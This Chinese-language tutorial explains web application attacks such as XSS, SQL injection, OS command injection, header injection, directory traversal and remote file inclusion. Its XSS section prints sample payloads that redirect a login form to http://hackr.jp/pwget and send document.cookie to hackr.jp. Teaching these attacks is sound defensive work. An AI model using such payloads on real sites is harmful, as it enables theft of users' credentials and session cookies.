简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。
来自互联网的攻击大多是冲着Web站点来的,它们大多把Web应用作为攻击目标。
一、针对Web应用的攻击技术
在客户端即可篡改请求:
在 Web 应用中,从浏览器接收到的HTTP请求的全部内容,都可以在客户端自由的更改、篡改。所以 Web 应用可能会接收到与预期数据不相同的内容。
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。
针对 Web 应用的攻击模式: 主动攻击、被动攻击
主动攻击 是指:攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。
由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
例:SQL注入和OS命令注入攻击。
被动攻击 是指:利用全套策略执行攻击代码的攻击模式。
攻击者不直接对目标Web应用访问发起攻击。
例:利用用户的身份攻击原本从互联网上无法直接访问的企业内部网络
二、因输出值转义不完全引发的安全漏洞
实施 Web 应用的安全对策,大致分为两部分:
● 客户端的验证
● Web 应用端的验证(服务器端)
○ 输入值验证
○ 输出值验证
多数情况下,采用 JS 在客户端验证数据。可是在客户端允许篡改数据或关闭 javascript,不适合将JS验证作为安全的防范对策。保留客户端验证只是为了尽早地识别输入错误,起到提高 UI 体验的作用。
Web 应用端的验证:
输入值验证:按 Web 应用内的处理可能被误认为是具有攻击性意义的代码。
通常是检验是否符合系统业务逻辑的数值或检查字符编码等预防策略。
输出值验证:从数据库、文件系统、HTML 或邮件等输出 Web 应用处理的数据的时候,针对输出做值转义处理是一项至关重要的安全策略。输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
(一)跨站脚本攻击 (Cross-Site Scripting,XSS)
跨站脚本攻击是指:通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JS 进行的一种攻击。
动态创建的 HTML 部分有可能隐藏着安全漏洞。攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
可能造成的影响:
1. 利用虚假输入表单骗取用户个人信息。
2. 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
3. 显示伪造的文章或图片。
XSS案例:
案例1: 在动态生成HTML处可能隐含安全漏洞
以编辑个人信息页面为例:
输入带有HTML标签的字符串,浏览器会把用户输入的 < s > 解析成HTML标签。
删除线显示出来并不会造成太大的不利后果,但如果换成使用 script 标签呢?
案例2:
XSS攻击是攻击者利用预先设置的陷阱触发的被动攻击
下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。
充分熟知此处漏洞特点的攻击者,于是创建了下面这段潜入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击改 URL。
http://example.jp/login?ID="><script>var+f=document .getElementById("login");+f.action="http://hackr.jp/pwget";+f. method="get";</script><span+s="
浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。
之后,ID 及密码会传给该正规网站,接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄漏。
对 http://example.jp/login?ID=yama 请求时对应的HTML源代码(摘录)
<form action="http://example.jp/login" method="post" id="login"> <div class="input_id"> ID: <input type="text" name="ID" value="yama"> </div> ...
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action
="http://hackr.jp/pwget";+f.method="get";</script><span+s=" 请求时对应的HTML源代码(摘录)
<form action="http://example.jp/login" method="post" id="login"> <div class="input_id"> ID: <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s="" /> </div> ...
案例3. 对用户 Cookie 的窃取攻击
除了表单,恶意构造的脚本同样能够以XSS的方式窃取到用户的 cookie 信息。
<script src=http://hackr.jp/xss.js></script>
http://hackr.jp/xss.js 文件的内容:
var content = escape(document.cookie); document.write("<img src=http://hackr.jp/?"); document.write(content); document.write(">");
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段 JS 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。
(二)SQL 注入攻击
SQL注入是指:针对 Web 应用使用的数据库,通过运行非法 SQL 而产生的攻击。有时会直接导致个人信息及机密信息的泄漏。
(三)OS 命令注入攻击
OS命令注入攻击是指:通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。
可以从Web应用中通过Shell来调用操作系统命令。倘若调用Shell时存在疏漏,就可以执行插入的非法OS命令。
(四)HTTP 首部注入攻击
HTTP首部注入攻击是指:攻击者通过在响应首部字段内插入换行,添加任意响应首部或主题的一种攻击。
(五)邮件首部注入攻击
邮件首部注入是指: Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。
利用存在安全漏洞的网站,可对任意邮件地址发送广告邮件或病毒邮件。
(六)目录遍历攻击
目录遍历攻击是指:对本来无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 .../ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。
应关闭指定对任意文件名的访问权限。
(七)远程文件包含漏洞
远程文件包含漏洞是指:当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
应控制对任意文件名的指定。